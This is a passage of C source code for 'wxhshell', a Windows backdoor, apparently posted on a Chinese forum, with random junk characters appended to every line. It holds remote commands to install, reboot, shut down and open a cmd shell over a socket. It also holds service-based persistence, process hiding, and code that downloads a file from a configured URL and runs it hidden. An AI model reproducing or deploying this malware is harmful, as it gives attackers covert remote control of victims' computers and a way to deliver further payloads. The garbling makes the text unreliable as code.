  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Z$MH`_nu  
  } O.$OLK;v  
  else { "]x#kM  
.12H/F  
    switch(cmd[0]) { vec4R )S  
  $DhW=(YM_a  
  // 帮助 zc5>)v LH=  
  case '?': { %KW NY(m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k;!}nQ&  
    break; Lo5CVlK  
  } >JT^[i8[  
  // 安装 QI6=[  
  case 'i': { GUUd(xS {  
    if(Install()) N`NW*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v6O5n(5,,  
    else 'rSJ9Mw"x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);    
    break; h:{^&d a  
    } e6_`  
  // 卸载 ]s}9-!{O  
  case 'r': { `_ )5K u}  
    if(Uninstall()) A9ZK :i7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UiH5iZ<r;  
    else I$JyAj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 1:(QJ  
    break; D@`"99z  
    } cD]#6PFA  
  // 显示 wxhshell 所在路径 Z2&7HTz  
  case 'p': { Ed>n/)Sm  
    char svExeFile[MAX_PATH]; |!uC [=  
    strcpy(svExeFile,"\n\r"); :\"g}AX  
      strcat(svExeFile,ExeFile); IS%e5  
        send(wsh,svExeFile,strlen(svExeFile),0);  K<?[^\  
    break; $c7Utm s  
    } %Hy.  
  // 重启 *a@78&N  
  case 'b': { Gu# wH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =7Sw29u<  
    if(Boot(REBOOT)) k;pU8y6Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hw%lT}[O  
    else { ZBXn&Gm  
    closesocket(wsh); 0oo*F  
    ExitThread(0); ?EA&kZR]  
    } vze|*dKS  
    break; qWb8"  
    } {|R +|ow  
  // 关机 YbP}d&L  
  case 'd': { 8o[+>W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *M+CA_I(  
    if(Boot(SHUTDOWN)) :[bpMP<bz;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); drh,=M\F  
    else { zN7Ou .  
    closesocket(wsh); xHWD1>  
    ExitThread(0); Tu-I".d+  
    } Wo<kKkx2  
    break; :0(:}V3z\  
    } b0yNc:  
  // 获取shell 1'SpJL1u~  
  case 's': { )C%S`d<%,  
    CmdShell(wsh); tq2Ti Xo%  
    closesocket(wsh); K#a_7/!v/  
    ExitThread(0); !-s6B  
    break; uEDvdd#V.  
  } l8RKwECdPn  
  // 退出 I0(nRu<  
  case 'x': { o`7B@]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `&g1`vg  
    CloseIt(wsh); Cp^%;(@  
    break; iK9#{1BpML  
    } ?oQAxb&  
  // 离开 [OQ+&\  
  case 'q': { mM-7 j z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T*zy^we  
    closesocket(wsh); yrV]I(Xe  
    WSACleanup(); 7:X@lmBz=  
    exit(1); Qd"u$~ qC  
    break; xoNn'LF#u  
        } A&=`?4>  
  }  b~Oc:  
  } Pc=:j(  
Y\{&chuF  
  // 提示信息 H263<^   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o&Sv2"2  
} uG 7ll5Yy  
  } :hUt7/3c  
9Q:}VpT~nG  
  return; .*+e?-  
} 81Ityd-}  
f<P>IE  
// shell模块句柄 $iOkn|~<@W  
int CmdShell(SOCKET sock) 0xpE+GY  
{ VMV~K7%0  
STARTUPINFO si; >@L^^ -r  
ZeroMemory(&si,sizeof(si)); ?Fj >7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yNN_}9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  y jY}o  
PROCESS_INFORMATION ProcessInfo; 7"$9js2  
char cmdline[]="cmd"; 21.N+H'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); za [;d4<}k  
  return 0; Rb_+C  
} ?8R  
I)}T4OOc/  
// 自身启动模式 Wup%.yT~Ds  
int StartFromService(void) h/\/dp/tt  
{ FHbw &  
typedef struct If%**o  
{ 1}b1RKKj<  
  DWORD ExitStatus; ]|)M /U *  
  DWORD PebBaseAddress; BZ>,Qh!J  
  DWORD AffinityMask; {ZD'l5jU  
  DWORD BasePriority; hwdZP=X  
  ULONG UniqueProcessId; KfMaVU=4P  
  ULONG InheritedFromUniqueProcessId; _:.'\d(  
}   PROCESS_BASIC_INFORMATION;  hPgDK.R'  
$_b^p=  
PROCNTQSIP NtQueryInformationProcess; 0O7VM)[  
e*jfxQ=qG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^%2S,3*0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L+ d4&x  
-H AUKY@;5  
  HANDLE             hProcess; HLp'^  
  PROCESS_BASIC_INFORMATION pbi; S`Wau/7t  
50^T \u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -MT.qhx  
  if(NULL == hInst ) return 0; 3hbUus  
]^?V8*zL]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b1frAA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^+q4*X6VB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z<n%~z^  
p_Y U!j_VE  
  if (!NtQueryInformationProcess) return 0; Nlfz'_0M  
TrC :CL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [wR x)F"  
  if(!hProcess) return 0; _#rE6./@q  
Y)OTvKrOA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LwS>jNJx  
f1}b;JJTsv  
  CloseHandle(hProcess); #\r5Q>  
XoqmT/P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u!K5jqP  
if(hProcess==NULL) return 0; =K\.YKT  
>)`V $x  
HMODULE hMod; vqnFyd   
char procName[255]; tA6x  
unsigned long cbNeeded; @$%[D`Wa<  
?q+^U>wy&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i>n)T  
n8vteGQ  
  CloseHandle(hProcess); p:q?8+W-r  
3 tIno!|  
if(strstr(procName,"services")) return 1; // 以服务启动 VA0p1AD  
[^GXHE=  
  return 0; // 注册表启动 TBp$S=_**  
} rytaC(  
WnZn$N.  
// 主模块 :OvTZ ?\  
int StartWxhshell(LPSTR lpCmdLine) ;L.RfP"5<  
{ !w-`:d?  
  SOCKET wsl; YR} P;  
BOOL val=TRUE; (jB_uMuS  
  int port=0; -Rz%<`  
  struct sockaddr_in door; biw2 f~V  
g_F-PT>($  
  if(wscfg.ws_autoins) Install(); -McDNM  
j[y,Jc h  
port=atoi(lpCmdLine); v a j  
q&N1| f7  
if(port<=0) port=wscfg.ws_port; Q]oCzSi  
li Hz5<|  
  WSADATA data; p^ojhrr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '}eA2Q>BV  
S((\KL,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U>jLh57  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Da8{==  
  door.sin_family = AF_INET; ~*,e&I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1#2B1&  
  door.sin_port = htons(port); M~k2Y$}R  
Fi*j}4F1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H(k-jAO,  
closesocket(wsl); bEc @"^)  
return 1; r%DaBx!x8  
} cf ~TVa)M  
x9{&rl dC  
  if(listen(wsl,2) == INVALID_SOCKET) { *)4 `"D  
closesocket(wsl); voAen&>!  
return 1; s@c.nT%BYL  
} ,Xt!dT-  
  Wxhshell(wsl); zBd)E21H  
  WSACleanup(); _onEXrM  
]t|-  
return 0; 1}"PLq(  
x%\m/_5w%  
} Kgw_c:/'  
K!a4>Du{  
// 以NT服务方式启动 "P_PqM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G)'(%rl  
{ ;$= GrR  
DWORD   status = 0; |w7D&p$  
  DWORD   specificError = 0xfffffff; ~'aK[3  
:P1/kYg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s.oh6wz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hg}@2n)/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AECaX4h+_  
  serviceStatus.dwWin32ExitCode     = 0; !WD~zZ|  
  serviceStatus.dwServiceSpecificExitCode = 0; e}Xmb$  
  serviceStatus.dwCheckPoint       = 0; [hT|]|fJS;  
  serviceStatus.dwWaitHint       = 0; o/Cu^[an  
-WX{ y Ci  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?6[X=GeUs  
  if (hServiceStatusHandle==0) return; [C TR8  
OY>0qj  
status = GetLastError(); 'K0=FPB/@  
  if (status!=NO_ERROR) 4M4oI .  
{ BDCFToSf|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3+v+_I>%k  
    serviceStatus.dwCheckPoint       = 0; =*Ad  
    serviceStatus.dwWaitHint       = 0; l~v BA$,  
    serviceStatus.dwWin32ExitCode     = status; D>~S-]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4H\+vJPM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9uL="z$\  
    return; yF#:*Vz>  
  } ~>]/1JFz  
WKwU:im  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m {)F9F  
  serviceStatus.dwCheckPoint       = 0; \HsrUZ~  
  serviceStatus.dwWaitHint       = 0; d].(x)|st  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gap\~Z@L  
} 'Oe}Ja  
"ccP,#Y  
// 处理NT服务事件,比如:启动、停止 ~dO&e=6Hk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d^Jf(NE0Yo  
{ zwyK \j  
switch(fdwControl) B- VhUS  
{ qAF.i^  
case SERVICE_CONTROL_STOP: gqi|k6V/  
  serviceStatus.dwWin32ExitCode = 0; MSMgaw?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [sT}hYh+  
  serviceStatus.dwCheckPoint   = 0; ETA 1\  
  serviceStatus.dwWaitHint     = 0; ?H.7 WtTC  
  { [$D4U@mRp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mCY+V~^~kz  
  } l"-F<^ U  
  return; %?7j Q  
case SERVICE_CONTROL_PAUSE: u9 yXHf  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XZk?aik}`  
  break; jPjFp35;zb  
case SERVICE_CONTROL_CONTINUE: Td`0;R'<}c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bz=B&YR  
  break; 8+irul{H_  
case SERVICE_CONTROL_INTERROGATE: = +=k(*  
  break; vV?=r5j  
}; )Z2l*fV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h 'F\9t  
} v_zVhE tY  
iB:](Md'r  
// 标准应用程序主函数 {J}Zv5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9z:P#=Q:  
{ ]} + NT  
V+M=@Pvp9  
// 获取操作系统版本 #!WD1a?L  
OsIsNt=GetOsVer(); AxOn~fZ!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hu G]kv3F:  
1gZW~6a}  
  // 从命令行安装 *k]izWsV*  
  if(strpbrk(lpCmdLine,"iI")) Install(); e uF@SS  
,/qS1W(  
  // 下载执行文件 Vf'r6Rf  
if(wscfg.ws_downexe) { !P6\-.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NG2@.hP:uU  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 P=c1;  
} f~LM-7!zf}  
1P'R-I  
if(!OsIsNt) { OC[+t6  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~S],)E1w  
HideProc(); k3 65.nc  
StartWxhshell(lpCmdLine); \*C}[D  
} $ +`   
else Xiyh3/%yy  
  if(StartFromService()) ?G#T6$E8  
  // 以服务方式启动 \.R+|`{tf  
  StartServiceCtrlDispatcher(DispatchTable); P7||d@VW,  
else fFHT`"bD:  
  // 普通方式启动 M] +FTz  
  StartWxhshell(lpCmdLine); wuv2bd )+  
%Q}T9%Mtj  
return 0; <Q4yN!6  
}
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只看该作者 1 发表于: 2006-10-10
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